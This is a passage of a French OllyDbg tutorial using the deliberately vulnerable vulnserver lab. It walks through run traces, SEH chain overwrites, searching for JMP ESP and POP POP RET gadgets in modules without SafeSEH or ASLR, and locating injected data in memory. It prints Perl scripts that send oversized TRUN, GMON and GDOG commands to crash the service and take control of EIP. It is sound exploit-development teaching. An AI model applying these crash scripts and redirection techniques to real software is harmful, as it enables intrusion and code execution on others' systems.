La ligne appropriée du script qui définit cette chaîne est indiquée ci-

dessous. (Le script complet est fourni dans la section précédente).

$baddata = "TRUN ."; # sets variable $baddata to "TRUN ."

Jetons un œil dans le débogueur pour voir si nous pouvons trouver des

références à cette chaîne, car ces références peuvent indiquer des

segments de code qui traitent ces données particulières. Si nous

trouvons de telles références, cela nous fournira, espérons-le, une

bonne zone à partir de laquelle commencer notre trace d'exécution.

Page 56: Ollydbg - Bienvenue [Root Me

Redémarrez vulnserver.exe dans le débogueur et appuyez sur F9 pour

laisser le programme s'exécuter. Maintenant, faites un clic droit dans

le volet du désassembleur et sélectionnez l'option Rechercher ->

Toutes les chaînes de texte référencées.

Cette fonction recherche essentiellement toutes les références aux

chaînes de texte dans le code. (Bouton ).

Dans la fenêtre des chaînes de texte qui apparaît, à mi-chemin environ,

vous devriez voir une référence à une chaîne de texte ASCII "TRUN".

Voir la capture d'écran ci-dessus, où j'ai sélectionné cette entrée

particulière. Bien que cette instruction particulière ne soit pas

nécessairement placée immédiatement avant le code qui créera

l'exception que nous avons vue dans la section précédente, elle semble

être un bon endroit pour commencer à chercher.

Nous allons définir un point d'arrêt à cet emplacement dans le code et

voir si ce point d'arrêt est atteint avant que l'exception ne se produise.

Cela indiquerait que l'instruction marquée est située à un point

antérieur du chemin d'exécution que le code associé à l'exception et

peut être un bon endroit pour démarrer notre trace d'exécution.

Si le point d'arrêt n'est pas atteint, nous pouvons continuer à parcourir

le code pour voir si nous pouvons identifier une autre position à partir

de laquelle il pourrait être approprié de démarrer notre trace

d'exécution.

Page 57: Ollydbg - Bienvenue [Root Me

Double-cliquez sur l'entrée «TRUN» dans la fenêtre Chaînes de texte

pour accéder à l'instruction correspondante dans le volet du

désassembleur. Appuyez maintenant sur F2 pour définir un point

d'arrêt sur cet emplacement. L'adresse doit devenir rouge, comme

indiqué ci-dessous.

Nous sommes maintenant presque prêts à démarrer une trace

d'exécution pour voir si nous pouvons identifier les instructions

menant à notre exception.

Le programme s'exécute normalement dans le débogueur, avec un

point d'arrêt (espérons-le) défini à un endroit quelque part dans le code

pas trop loin avant que l'exception ne se produise.

Si tout se passe comme prévu, l'exécution du code devrait s'arrêter à

ce point d'arrêt lorsque nous utilisons le script trun.pl pour générer

l'exception, et cela devrait alors nous permettre de démarrer une trace

d'exécution qui identifiera les instructions qui mènent à notre

exception.

Avant d'essayer, nous allons modifier légèrement les options de trace

d'exécution afin de rendre le processus de trace d'exécution

légèrement plus efficace.

Ouvrez le menu Options, sélectionnez l'élément Options de débogage

et cliquez sur l'onglet Trace.

Activez les options Toujours tracer sur les DLL système et Toujours

tracer sur les chaînes et appuyez sur OK.

Voir la capture d'écran ci-dessous.

Page 58: Ollydbg - Bienvenue [Root Me

Cela empêchera notre débogueur d'intervenir dans les routines

système et les commandes de chaîne, ce qui dans de nombreux cas

n'est pas nécessaire et encombrera inutilement notre journal de suivi

d'exécution.

Exécutez maintenant le script trun.pl pour générer l'exception.

C:\Work>perl trun.pl 127.0.0.1 9999

L'exécution devrait s'arrêter à notre point d'arrêt. Succès !??!

Commençons maintenant une trace d'exécution.

Ceux-ci peuvent être lancés à l'aide de la touche Ctrl-F11 pour lancer

le traçage dans (Trace Into) en pas à pas détaillé ou Ctrl-F12 pour

lancer le traçage dessus (Trace Over) en pas à pas principal.

Comme avec les autres méthodes d'exécution de code du débogueur,

allez dans (Step Into) signifie de suivre le code dans les instructions

CALL, et passez dessus (Step Over) signifie des passer par-dessus.

Appuyez sur Ctrl-F11 pour faire un pas dans Run trace. Vous devriez

être accueilli très rapidement par la fenêtre contextuelle suivante,

Page 59: Ollydbg - Bienvenue [Root Me

indiquant que l'exception a été atteinte. La vitesse à laquelle cela s'est

produit suggère que l'emplacement de notre point d'arrêt a été bien

choisi - nous avons découvert le code qui mène à l'exception mais

nous ne sommes pas restés en attente pendant une longue période

pendant l'exécution de la trace.

Appuyez sur OK dans la fenêtre contextuelle pour la fermer.

Maintenant, pour voir le contenu du journal de trace d'exécution,

ouvrez le menu View → Run Trace (Affichage et sélectionnez

Exécuter la trace) ou cliquez sur .

Vous devriez voir quelque chose comme ce qui suit, montrant

l'exception au bas de la fenêtre (entrée 0), avec toutes les autres

instructions depuis que la trace d'exécution a commencé répertoriée de

bas en haut dans l'ordre du plus au moins récemment exécuté.

À ce stade, si vous souhaitez examiner plus en détail la cause de

l'exception, vous savez maintenant exactement ce qui y mène.

Vous avez la possibilité de prendre l'adresse de l'une des instructions

ci-dessus, de définir un point d'arrêt à cet emplacement, de

redéclencher l'exception, puis de parcourir le code pour voir

exactement comment l'exception s'est produite.

Page 60: Ollydbg - Bienvenue [Root Me

N'oubliez pas que si vous souhaitez utiliser « Exécuter la trace » pour

trouver efficacement le code sujet aux exceptions, placez un point

d'arrêt aussi près que possible du point où vous pensez que l'exception

se produit (des essais et des erreurs peuvent être impliqués pour

obtenir le point d'arrêt au bon endroit), puis déclenchez l'exception et

exécutez la trace à partir du point d'arrêt.

Avant de continuer, nettoyez le point d'arrêt que vous avez ajouté dans

cette section.

Ouvrez le menu Affichage et sélectionnez Points d'arrêt ou appuyez

sur Alt-B pour ouvrir la fenêtre Points d'arrêt ou avec le bouton

et utilisez la touche Supprimer pour supprimer tous les points d'arrêt

existants répertoriés.

La chaîne SEH

"Qu'est-ce que la chaîne SEH ?" Je vous entends demander.

« Structured Exception Handler » Il s'agit essentiellement d'une

structure par thread en mémoire qui fournit une liste liée d'adresses de

gestionnaire d'erreurs qui peuvent être utilisées par les programmes

Windows pour gérer avec élégance les exceptions, comme celle que

nous avons générée dans la section précédente.

Une fois qu'une exception est détectée dans un programme, Windows

tentera de gérer cette exception en utilisant les routines de gestion des

erreurs dans Windows pour sélectionner un gestionnaire d'erreurs dans

la chaîne SEH. Ce gestionnaire d'erreurs sera une adresse mémoire qui

contient du code qui fera quelque chose d'utile, comme afficher une

boîte de dialogue d'erreur pour indiquer que le programme est tombé

en panne. Les entrées de cette chaîne SEH sont stockées dans la pile.

Nous pouvons regarder l'adresse SEH de deux manières - nous

pouvons faire défiler le volet de pile dans OllyDbg jusqu'à ce que nous

voyions le texte « SE handler » à côté d'une entrée de pile, ou nous

pouvons utiliser l'option de menu View → SEH chain, (Voir les

chaines SEH).

Page 61: Ollydbg - Bienvenue [Root Me

Pour trouver l'entrée sur la pile, vous pouvez généralement

simplement faire défiler jusqu'au bas du volet de pile dans OllyDbg,

car c'est probablement là que l'entrée de chaîne SEH, fournie par le

système d'exploitation, sera située. L'utilisation de l'option de menu «

Chaîne SEH » vous montrera toutes les entrées de la chaîne SEH s'il y

en a plusieurs.

Pourquoi, en tant que modificateur logicielle, nous soucions-nous de

ce que contient la chaîne SEH ? Nous nous en soucions parce que la

chaîne SEH contient des adresses où l'exécution de code est redirigée

une fois qu'une erreur se produit, nous permettant d'utiliser toute

exception comme une opportunité de rediriger l'exécution de code

vers un emplacement de notre choix en écrasant ces entrées SEH avec

nos propres valeurs fournies. Étant donné que ces entrées de la chaîne

sont stockées sur la pile, elles sont idéalement placées afin d'être

écrasées par un débordement basé sur la pile.

Il y a quelques mises en garde dont vous devez être conscient lors de

modification de code avec écriture à partir de SEH, mais c'est quelque

chose que j'aborderai plus en détail dans un futur tutoriel, pour

l'instant nous allons juste couvrir comment utiliser le débogueur pour

déterminer si un écrasement SEH s'est produit.

Si ce n'est pas déjà fait, redémarrez le programme dans le débogueur

et appuyez sur F9 pour le lancer. Maintenant, exécutez le script

trun.pl créé dans le composant « Débogage exceptionnel » de la

section précédente pour récupérer l'exception dans le débogueur et

afficher les gestionnaires SEH, en utilisant la pile et les méthodes de

chaîne View → SEH.

Page 62: Ollydbg - Bienvenue [Root Me

Ce que vous devriez voir maintenant, c'est une chaîne SEH intacte -

qui n'a pas été écrasée.

Vous pouvez le dire car l'adresse du gestionnaire est valide dans ntdll

(à partir de la fenêtre de chaîne SEH - voir capture d'écran ci-dessus)

et parce que l'entrée SEH près du bas de la pile est précédée d'une

entrée avec les données FFFFFFFF (cette entrée de pile doit être

marqué comme « Pointeur vers le prochain enregistrement SEH »).

Étant donné que la chaîne SEH est une liste liée, chaque entrée de la

liste contient un emplacement pour l'entrée suivante, la référence de la

dernière entrée SEH pointant vers FFFFFFFF pour indiquer qu'il s'agit

de l'entrée finale.

La capture d'écran suivante montre l'entrée SEH sur la pile, après

avoir défilé vers le bas du volet de la pile.

Page 63: Ollydbg - Bienvenue [Root Me

Ce qui suit montre une vue agrandie du volet de pile à partir du

dessus.

Comparons cela à une chaîne SEH qui a été écrasée.

Redémarrez vulnserver.exe dans OllyDbg et utilisez F9 pour le

démarrer.

Enregistrez les éléments suivants sous gmon.pl

#!/usr/bin/perl

use IO::Socket;

if ($ARGV[1] eq '') {

die("Usage: $0 IP_ADDRESS PORT\n\n");

}

$baddata = "GMON /"; # sets variable $baddata to "GMON /"

$baddata .= "A" x 5000; # appends (.=) 5000 "A" characters

to $baddata

Page 64: Ollydbg - Bienvenue [Root Me

$socket = IO::Socket::INET->new( # setup TCP socket –

$socket

Proto => "tcp",

PeerAddr => "$ARGV[0]", # command line variable 1 – IP

Address

PeerPort => "$ARGV[1]" # command line variable 2 – TCP port

) or die "Cannot connect to $ARGV[0]:$ARGV[1]";

$socket->recv($sd, 1024); # Receive 1024 bytes data from

$socket, store in $sd

print "$sd"; # print $sd variable

$socket->send($baddata); # send $baddata variable via

$socket

Et lancez-le :

C:\Work>perl gmon.pl 127.0.0.1 9999

Une exception devrait se produire. Vérifiez maintenant le bas de la

pile ainsi que la fenêtre de chaîne SEH.

Vous devriez voir que l'entrée SEH a été remplacée par 41414141,

tout comme le pointeur sur l'enregistrement SEH suivant.

Nous avons définitivement remplacé l'entrée SEH ici.

Une vue agrandie de la pile est illustrée ci-dessous.

Essayez maintenant de transmettre l'exception au programme à gérer à

l'aide de la combinaison de touches Maj + F7 / F8 / F9.

Vous devez obtenir une violation d'accès avec EIP pointant vers

41414141.

Page 65: Ollydbg - Bienvenue [Root Me

Windows a tenté de gérer l'exception précédente en transmettant le

contrôle à notre entrée SEH remplacée de 41414141.

Le texte dans le coin inférieur gauche montre ce qui suit.

Et les registres sont définis sur des valeurs comme indiqué ci-dessous

(notez la valeur de EIP)

Lorsque cela se produit dans un programme que vous déboguez, vous

devez savoir que vous avez une chance décente d'écrire une

modification de code SEH pour cette vulnérabilité, bien que, comme

je l'ai mentionné plus tôt, il y ait quelques mises en garde que vous

devez faire attention dont je discuterai dans un futur article.

Page 66: Ollydbg - Bienvenue [Root Me

Recherche de commandes

L'un des moyens les plus simples pour effectuer une modification de

code consiste à utiliser des instructions situées dans des zones de

mémoire spécifiques pour rediriger l'exécution du code vers des zones

de mémoire que nous pouvons contrôler.

Dans le cas des vulnérabilités présentées jusqu'à présent dans ce

didacticiel, nous avons réussi à définir le registre EIP aux

emplacements de notre choix à la fois via l'écrasement direct d'une

adresse RETN sur la pile et en utilisant une entrée SEH écrasée pour

rediriger l'exécution via la gestion des erreurs des routines Windows.

Si nous voulons utiliser ce contrôle sur EIP pour rediriger vers notre

propre code inséré dans l'application, la façon la plus simple de

procéder, est de trouver des instructions qui peuvent effectuer cette

redirection à des emplacements connus dans la mémoire.

Le meilleur endroit pour rechercher ces instructions se trouve dans le

code des exécutables principaux ou dans le code d'un module

exécutable chargé de manière fiable avec l'exécutable principal.

Nous pouvons voir quels modules nous devons choisir en permettant

au programme de fonctionner normalement, puis en vérifiant la liste

des modules exécutables dans OllyDbg.

Note : Cette méthode de vérification des modules chargés peut nous

faire manquer des DLL chargées avec retard. Si cela vous inquiète,

vous pouvez exécuter un peu l'exécutable à son rythme pour donner la

meilleure occasion à ces DLL d'être appelées avant de vérifier quels

modules sont chargés.

N'oubliez pas que si vous choisissez une adresse dans un module

chargé en différé, vous devez vous assurer que ce module est chargé

avant que toute modification logiciel qui en dépend ne soit déclenché.

Essayons maintenant. Redémarrez vulnserver dans le débogueur et

appuyez sur F9 pour le laisser s'exécuter.

Page 67: Ollydbg - Bienvenue [Root Me

Ouvrez maintenant le menu Affichage et sélectionnez l'option

Executable modules (Modules exécutables ou appuyez sur Alt-E ou

avec le bouton ).

Cela vous montrera une liste des modules exécutables actuellement

chargés avec l'exécutable principal

À ce stade, vous remarquerez très probablement qu'il existe un certain

nombre de modules parmi lesquels choisir….

Par le quelle devriez-vous commencer en premier ?

La meilleure façon de savoir comment procéder ici est de commencer

avec le but final à l’esprit.

Nous voulons un module qui offre un emplacement en mémoire où

nous pouvons trouver de manière fiable une instruction particulière

que nous pouvons utiliser pour rediriger le code de notre modification

logicielle.

Fondamentalement, cela se résume au module, y compris l'instruction

que nous voulons et il n'y a aucune caractéristique du module qui

empêchera cette instruction d'être utilisée.

Ces caractéristiques peuvent inclure une valeur restreinte dans

l'adresse ou diverses protections contre les modifications logiciels

telles que SafeSEH ou ASLR activées dans le module.

Page 68: Ollydbg - Bienvenue [Root Me

J'utilise généralement le processus suivant pour commander les

modules du moins chargés au plus utilisés, et je recherche d'abord les

modules les plus utilisables pour mon instruction en premier.

Les modules fournis par le système d'exploitation vont en bas de cette

liste. Vous pouvez savoir quels modules sont fournis par le système

d'exploitation en vérifiant le chemin complet du module. Ils se

trouvent généralement dans le dossier \Windows\system32\.

Il vaut mieux éviter ces modules pour un certain nombre de raisons.

Premièrement, ils changent entre les versions du système

d'exploitation, ainsi que les service packs et parfois même les

correctifs, ce qui signifie qu'une instruction que vous trouvez dans une

version du module peut ne pas être là dans une autre version, ce qui

signifie que votre modification de code ne fonctionnera que sur des

systèmes très spécifiques (ceux qui ont la même version du système

d'exploitation, le même service pack et peut-être même des correctifs

que votre système.)

Deuxièmement, ces modules fournis par le système d'exploitation vont

presque certainement être compilés à l'aide de fonctionnalités de

prévention des modifications logicielles basées sur le compilateur,

telles que SafeSEH et ASLR.

Fondamentalement, vous ne devriez regarder les modules fournis par

le système d'exploitation que si vous n'avez pas de meilleures options.

Un module que vous pouvez envisager d'utiliser est l’exécutable

principal lui-même, qui n'est souvent soumis à aucune protection

contre les modifications logicielles basée sur un compilateur, en

particulier lorsque l'application a été écrite par un développeur tiers et

non par Microsoft.

Cependant, l'utilisation de l'exécutable principal présente un défaut

majeur, car il commence presque toujours par un octet zéro.

C’est problématique car l'octet zéro est un terminateur de chaîne en

C/C++, et l'utilisation d’un octet zéro dans le cadre des chaînes

Page 69: Ollydbg - Bienvenue [Root Me

utilisées pour un débordement entraînera souvent la fin de la chaîne à

ce stade, ce qui pourrait empêcher le débordement approprié du buffer

et de stopper la modification logicielle.

Le meilleur choix de module à utiliser est celui fourni avec

l'application elle-même (en supposant une application tierce).

Ces modules sont souvent compilés sans protection contre les

modifications logicielles et puisqu'ils sont fournis avec l'application, la

structure du module reste généralement la même parmi les copies de

l'application avec le même numéro de version.

Cela vous donne la possibilité d'écrire un patch qui fonctionnera très

probablement sur un certain nombre de versions différentes de

Windows, tant que la version du programme reste la même.

Dans ce cas, nous avons un module, essfunc.dll, qui devrait convenir

à nos utilisations.

Double-cliquez dessus pour l'ouvrir dans la vue CPU. La barre de titre

devrait maintenant se terminer par le texte « module essfunc » si vous

avez correctement sélectionné le module essfunc.

Voyons comment trouver des instructions utiles dans ce module.

La première chose que nous devons nous poser est quelle est la

commande que nous allons rechercher.

Dans le cas de modifications logicielles, les instructions les plus

couramment utilisées sont celles qui sautent (JMP) ou appellent

(CALL) un registre particulier, ou une instruction POP, POP RET.

Page 70: Ollydbg - Bienvenue [Root Me

Les commandes JMP ou CALL sont utilisées lorsqu'un registre

particulier pointe vers un emplacement en mémoire que nous

contrôlons, et les instructions POP, POP RET sont utilisées lorsque

nous écrivons des modifications SEH sur les systèmes Windows XP

SP2 et plus.

En supposant que nous voulons rechercher une instruction «JMP

ESP», nous pouvons utiliser l'une des deux commandes accessibles

via un clic droit dans le volet supérieur gauche de la vue CPU du

module approprié.

La commande, accessible en cliquant avec le bouton droit sur le volet

supérieur gauche Search for → Command (Rechercher →

Commande), nous permet de rechercher une commande à la fois.

Une fois le premier résultat affiché, mis en évidence dans la vue CPU,

vous pouvez voir les résultats suivants en cliquant sur Ctrl-L ou en

sélectionnant Search → Next (Rechercher → Suivant) dans le menu

contextuel

Essayez ceci maintenant. Sélectionnez l'option Search for →

Command (Rechercher → Commande) dans le menu contextuel dans

le volet supérieur gauche de la vue CPU (assurez-vous que essfunc est

le module actuellement sélectionné - il doit le mentionner dans la

barre de titre, comme indiqué dans la capture d'écran ci-dessous).

Then, in the Find command window that appears, type “JMP ESP”

and hit Find.

Page 71: Ollydbg - Bienvenue [Root Me

Cela vous amènera à la première instance de cette commande dans le

module actuellement sélectionné. Maintenant, appuyez sur Ctrl-L

pour trouver l'instance suivante.

La deuxième commande, accessible en cliquant avec le bouton droit

sur le volet supérieur gauche et en sélectionnant Search for → All

commands (Rechercher → Toutes les commandes), ouvrira une

nouvelle fenêtre répertoriant toutes les instances de cette commande

dans le module actuellement sélectionné.

Essayez ceci maintenant. Sélectionnez l'option Search for → All

commands (Rechercher → Toutes les commandes) dans le menu

contextuel dans le volet supérieur gauche de la vue CPU.

Dans la zone Rechercher toutes les commandes, tapez « JMP ESP »

et appuyez sur Find (Rechercher). Une nouvelle fenêtre apparaîtra

alors montrant la liste complète des commandes ESP JMP trouvées

dans le module actuellement sélectionné.

Cela montre comment nous pouvons rechercher une seule instruction,

mais que faisons-nous si nous voulons rechercher plusieurs

commandes en séquence, comme un POP, POP RET ?

Eh bien, pour cela, nous pouvons utiliser les options de clic droit

Search for → Sequence of commands (Rechercher → Séquence de

commandes) ou Search for →All sequences (Rechercher → Toutes

les séquences), pour rechercher des instances individuelles ou toutes

les instances d'une séquence de commandes particulière.

Page 72: Ollydbg - Bienvenue [Root Me

Essayons de rechercher toutes les instances de séquences POP, POP

RET dans essfunc.dll. Assurez-vous que le module est toujours

sélectionné dans la vue CPU, puis cliquez avec le bouton droit sur le

volet supérieur gauche et sélectionnez Search for → All sequences

(Rechercher → Toutes les séquences). Ensuite, dans la fenêtre de

recherche de séquence de commandes qui apparaît, tapez ce qui suit :

POP r32

POP r32

RETN

Où «r32» est un raccourci pour n'importe quel registre 32 bits (par

exemple ESP, EAX, etc.). Voir la capture d'écran suivante.

Cliquez sur Find (Rechercher) et vous serez accueilli avec une fenêtre

«Found sequences » (Séquences trouvées) vous montrant tous les

emplacements où cette séquence de commandes existe dans le module

actuel. Votre position actuellement sélectionnée dans le code sera

également affichée dans la liste en rouge pour vous montrer où ces

commandes découvertes sont par rapport à votre position actuelle.

Page 73: Ollydbg - Bienvenue [Root Me

Double-cliquez sur l'une des entrées de la liste et vous serez redirigé

vers cet emplacement dans la vue CPU, afin que vous puissiez voir

que toutes les commandes que vous avez choisi de rechercher sont

réellement présentes. (Dans la capture d'écran ci-dessous, par

exemple, nous pouvons voir POP EBX, POP EBP, RETN).

Recherche dans la mémoire

Dans certaines circonstances, lors de l'écriture d'une modification

logicielle, vous devrez déterminer si les données que vous avez

envoyées à une application ont été capturées et stockées quelque part

en mémoire.

Ce type de condition est particulièrement utile lorsque vous avez

trouvé une vulnérabilité exploitable mais que vous n'avez pas la place

d'insérer votre code complètement dans le même ensemble de données

qui provoquerons l'exception.

En plaçant vos données utiles dans une autre zone accessible de la

mémoire du programme, vous pouvez ensuite utiliser un shellcode

spécial pour trouver ce code utile ailleurs dans la mémoire et rediriger

l'exécution vers celle-ci.

Vous pouvez rechercher très facilement dans la mémoire des valeurs

particulières dans OllyDbg. Essentiellement, vous devez insérer les

données appropriées dans le programme, suspendre le programme

débogué à un moment approprié de son exécution, puis ouvrir la vue

« Memory Map » ou ‘Map mémoire’ OllyDbg et utiliser la fonction

Rechercher pour voir si les données appropriées sont présentes. Si

Page 74: Ollydbg - Bienvenue [Root Me

votre objectif est de voir si les données stockées dans la mémoire d'un

programme peuvent être utilisées pour une modification de code

particulière, la meilleure façon de procéder consiste à envoyer les

données et à suspendre le programme dans le débogueur en

provoquant réellement l'exception appropriée. Voyons comment cela

fonctionne.

Ce code ci-dessous créera la même exception que nous avons utilisée

dans trun.pl ci-dessus, mais avant que le crash ne se déclenche, il

enverra également des données (une chaîne géante de caractères "B")

à l'application en utilisant la commande GDOG de vulnserver.

Enregistrez les éléments suivants sous sendextradata.pl.

#!/usr/bin/perl

use IO::Socket;

if ($ARGV[1] eq '') {

die("Usage: $0 IP_ADDRESS PORT\n\n");

}

$memdata = "GDOG "; #sets variable $memdata to "GDOG "

$memdata .= "B" x 5000; # appends (.=) 5000 "B" characters

to $memdata

$baddata = "TRUN ."; # sets variable $baddata to "TRUN ."

$baddata .= "A" x 5000; # appends (.=) 5000 "A" characters

to $baddata

$socket = IO::Socket::INET->new( # setup TCP socket –

$socket

Proto => "tcp",

PeerAddr => "$ARGV[0]", # command line variable 1 – IP

Address

PeerPort => "$ARGV[1]" # command line variable 2 – TCP port

) or die "Cannot connect to $ARGV[0]:$ARGV[1]";

$socket->recv($sd, 1024); # Receive 1024 bytes data from

$socket, store in $sd

print "$sd"; # print $sd variable

$socket->send($memdata); # send $memdata variable via

$socket

$socket->recv($sd, 1024); # Receive 1024 bytes data from

$socket, store in $sd

print "$sd"; # print $sd variable

$socket->send($baddata); # send $baddata variable via

$socket

Page 75: Ollydbg - Bienvenue [Root Me

Démarrez vulnserver.exe dans OllyDbg et appuyez sur F9 pour

permettre au programme de s'exécuter. Exécutez ensuite ce script

comme suit.

C:\Work>perl sendextradata.pl 127.0.0.1 9999

Une exception doit être déclenchée dans le débogueur.

Pour rechercher maintenant les données supplémentaires que nous

avons envoyées au programme (cette grande chaîne de caractères

majuscules «B»), ouvrez le menu View (Affichage) et sélectionnez

Memory (Mémoire), ou appuyez sur Alt-M ou le bouton pour

afficher la ‘Map Mémoire’ dans OllyDbg.

Maintenant, faites un clic droit sur la Map mémoire et sélectionnez

Search (Rechercher) dans le menu, ou appuyez sur Ctrl-B.

Cela fera apparaître la fenêtre de recherche. Entrez un grand nombre

de caractères majuscules B dans la zone ASCII et assurez-vous de

cocher l'option Case sensitive (Casse sensible) avec la petite case près

du bas de la fenêtre. Voir la capture d'écran ci-dessous :

Page 76: Ollydbg - Bienvenue [Root Me

Maintenant, cliquez sur OK, et vous devriez bientôt être accueilli par

une fenêtre du contenu de la mémoire, montrant un grand nombre de

caractères B d'affilée. Développez un peu la fenêtre pour voir combien

il y en a. Voir la capture d'écran ci-dessous. Dans cette vue

particulière, vous pouvez également voir le début de la commande

TRUN que nous avons utilisée pour provoquer l'exception.

Page 77: Ollydbg - Bienvenue [Root Me

Ici, nous avons confirmé que nous avons un moyen d'insérer des

données supplémentaires dans l'application de manière à ce qu'elles

soient toujours disponibles en mémoire au moment où nous avons

provoqué cette exception particulière. Cela signifie que si nous

devions fournir du contenu supplémentaire à l'application afin de

réaliser une modification de code pour ce bogue vulnérable, nous

pourrions utiliser la méthode illustrée dans le script sendextradata.pl

pour fournir ces données.

Travailler dans l’image mémoire

Les fenêtres d’image mémoire dans OllyDbg sont extrêmement utiles

lors de l'écriture de modifications, car elles offrent plusieurs façons

d'afficher et d'accéder aux données stockées dans la mémoire d'un

programme. Cette section examinera un certain nombre de façons dont

nous pouvons travailler dans les fenêtres de l’image mémoire afin de

manipuler et traiter efficacement ces données.

Cette section est composée des sous-sections suivantes :

• Différentes vues de l’image mémoire.

• Suivi en Map Mémoire.

• Copie des données de l’image mémoire.

Différentes vues de l’image mémoire

Pendant l'écriture d’une modification logicielle, il peut souvent être

utile de pouvoir représenter des données dans le débogueur dans une

variété de formats différents, et parfois de copier ces données hors du

débogueur pour les traiter avec d'autres programmes. Heureusement,

OllyDbg fournit un certain nombre de formats d'affichage différents

pour les fenêtres d’image mémoire (à la fois celui dans le volet

inférieur gauche de la vue CPU et ceux accessibles en double-cliquant

sur les entrées de la map mémoire). Cela nous donne des options sur la

façon dont nous pouvons afficher le code exécutable d'un programme,

les données générées par le programme et les données fournies par les

utilisateurs d'un programme, qui seront toutes stockées en mémoire.

De plus, les fenêtres d’image mémoire, ainsi que la plupart des autres

vues d'OllyDbg, permettent de copier facilement les données dans le

Page 78: Ollydbg - Bienvenue [Root Me

presse-papiers, et parfois d'écrire dans un fichier sur le disque, pour

qu'elles puissent être facilement utilisées dans d'autres programmes.

Les différents modes d'affichage dans les fenêtres d’image mémoire

sont accessibles via le menu contextuel. Examinons quelques-unes des

vues qui nous seront les plus utiles en tant que modificateur logiciel.

L'un des modes d'affichage les plus couramment utilisés pour la

mémoire dans OllyDbg, en particulier dans la vue CPU, est la vue «

Hex/ASCII (8 octets) », qui montre à la fois la représentation Hexa et

ASCII des données, avec 8 octets par ligne. Vous pouvez voir une

capture d'écran de ce mode d'affichage ci-dessous, ainsi que l'option

de menu utilisée pour le sélectionner (clic droit, Hex → Hex / ASCII

(8 octets)). Il existe également un mode d'affichage « Hex / ASCII

(16 octets) » qui est essentiellement le même, mais 16 octets de

données sont affichés par ligne au lieu de 8, et vous pouvez également

choisir d'afficher le texte en Unicode au lieu de l’ASCII. Cette capture

d'écran représente une fenêtre de map mémoire ouverte à partir de la

map mémoire, mais rappelez-vous que ce mode d'affichage s'applique

également au volet mémoire dans la vue CPU

La vue « Texte » représente les données sous forme de texte pur, en

utilisant le format de codage ASCII (simple octet) ou Unicode (double

Page 79: Ollydbg - Bienvenue [Root Me

octet). La vue précédente montrait également la représentation ASCII

(ou Unicode) des données, mais elle le faisait parallèlement à la

représentation Hex. Si vous devez afficher uniquement le texte (peut-

être parce que vous souhaitez copier uniquement le texte et non les

données hexadécimales), c'est le mode que vous pouvez choisir. Pour

sélectionner la vue "Texte", faites un clic droit et sélectionnez l'entrée

appropriée dans le sous-menu Texte. Voir la capture d'écran suivante

pour voir à quoi ressemble la vue texte ASCII (32 caractères), ainsi

que l'entrée de menu que vous pouvez choisir pour la sélectionner.

La vue « Disassemble » (Désassemble) est la dernière que nous

examinerons. Cela interprète les données de la mémoire comme du

code d'assemblage, comme indiqué dans le volet supérieur gauche de

la vue CPU. La capture d'écran ci-dessous montre la vue

"Désassembler" ainsi que l'option de menu utilisée pour la

sélectionner (clic droit et choisissez Disassemble dans le menu).

Lorsque vous ouvrez une fenêtre d’image mémoire à partir de la map

mémoire, OllyDbg choisit souvent l'une des vues ci-dessus pour vous

automatiquement en fonction du type de contenu qu'il pense être

Page 80: Ollydbg - Bienvenue [Root Me

contenu dans cette zone de mémoire. Par exemple, il utilisera la vue «

Désassembler » pour les zones censées contenir du code exécutable.

Suivi en Map Mémoire

Cliquer directement sur diverses pages de mémoire de la map

mémoire nous permet d'accéder à n'importe quelle zone de la mémoire

que nous aimons, mais que se passe-t-il si nous voulons afficher le

contenu de la mémoire aux emplacements stockés dans l'un des

registres du processeur ou dans les entrées de la pile ?

Que faire si nous voulons afficher le code à partir du volet de

désassembleur dans la pile ?

Eh bien, nous pouvons le faire en cliquant avec le bouton droit sur le

registre approprié, l'entrée de pile ou les instructions désassemblées

dans la vue CPU, et en sélectionnant l'option " Follow in Dump ".

Le volet de l’image mémoire dans la vue CPU affichera alors la

section de la mémoire commençant par l'adresse représentée par

l'élément que vous avez sélectionné.

Essayez ceci maintenant, en redémarrant vulnserver dans le

débogueur, en cliquant avec le bouton droit sur la première entrée

dans le volet de désassemblage, et en sélectionnant Follow in Dump

→ Selection.

Page 81: Ollydbg - Bienvenue [Root Me

Le volet de l’image mémoire affichera alors l'adresse mémoire de

l'instruction que vous venez de sélectionner, les octets constituant

cette instruction étant mis en surbrillance.

Vous pouvez également sélectionner plusieurs instructions et essayer

la même chose - les données représentant toutes les instructions que

vous avez sélectionnées seront mises en évidence dans l’image

mémoire.

Vous pouvez également utiliser l'option Follow in Dump sur la pile.

Cliquez avec le bouton droit sur l'adresse d'une entrée de pile (colonne

de gauche dans le volet de pile), pour afficher cette section de la pile

dans l’image mémoire.

Cliquez avec le bouton droit sur la valeur d'une entrée de pile

(deuxième colonne dans le volet de pile), pour afficher l'emplacement

de mémoire que cette entrée contient.

Veuillez noter que dans le cas d'entrées de pile, l'option Follow in

Dump ne sera disponible que si l'entrée de pile contient une adresse

mémoire valide.

L'option Follow in Dump fonctionne également avec les registres

CPU. Comme pour les entrées de pile, l'option n'apparaîtra que si le

registre contient une adresse mémoire valide.

Essayez vous-même l'option Follow in Dump sur la pile et sur les

registres du processeur pour vous faire une idée de son

fonctionnement.

L'une des utilisations les plus importantes de cette option Follow in

Dump lors de l'écriture de modification de code est d'aider à trouver

des entrées de pile ou des registres CPU qui pointent vers des zones de

mémoire que nous contrôlons lorsqu'une exception se produit.

Page 82: Ollydbg - Bienvenue [Root Me

Cela donnera un pointeur sur la façon dont nous pouvons diriger

l'exécution du code dans ces zones de mémoire.

Par exemple, si nous voyons que lorsqu'une exception se produit, le

registre ESP pointe vers la mémoire contenant les données que nous

avons envoyées à l'application, nous pourrions utiliser une instruction

« JMP ESP » pour rediriger l'exécution du code vers cet

emplacement.

Une autre utilisation potentielle de cette option est de nous permettre

de visualiser, sélectionner et copier facilement les instructions

exécutées par le processeur de différentes manières - une capacité qui

nous est offerte par la flexibilité des options d'affichage de la vue

d’image mémoire par opposition à certaines des d'autres vues dans

OllyDbg. Cela peut être très utile lorsque nous voulons confirmer que

le shellcode que nous avons envoyé à une application n'a pas été

modifié pendant le transfert.

Copie des données de l’image mémoire

Il existe deux façons différentes de copier des données sélectionnées à

partir de l’image mémoire que je voudrais couvrir ici.

La première méthode copie les données dans un format textuel, tout

comme elles sont affichées dans le débogueur lui-même.

Lorsque vous utilisez cette méthode, la sortie dépend du mode

d'affichage que vous avez choisi.

Si vous utilisez le mode d'affichage " Hex / ASCII (8 octets) ", vous

obtiendrez l'adresse, l’image hexadécimal et la représentation ASCII,

mais si vous utilisez la vue "Disassembly" (Désassembler), vous

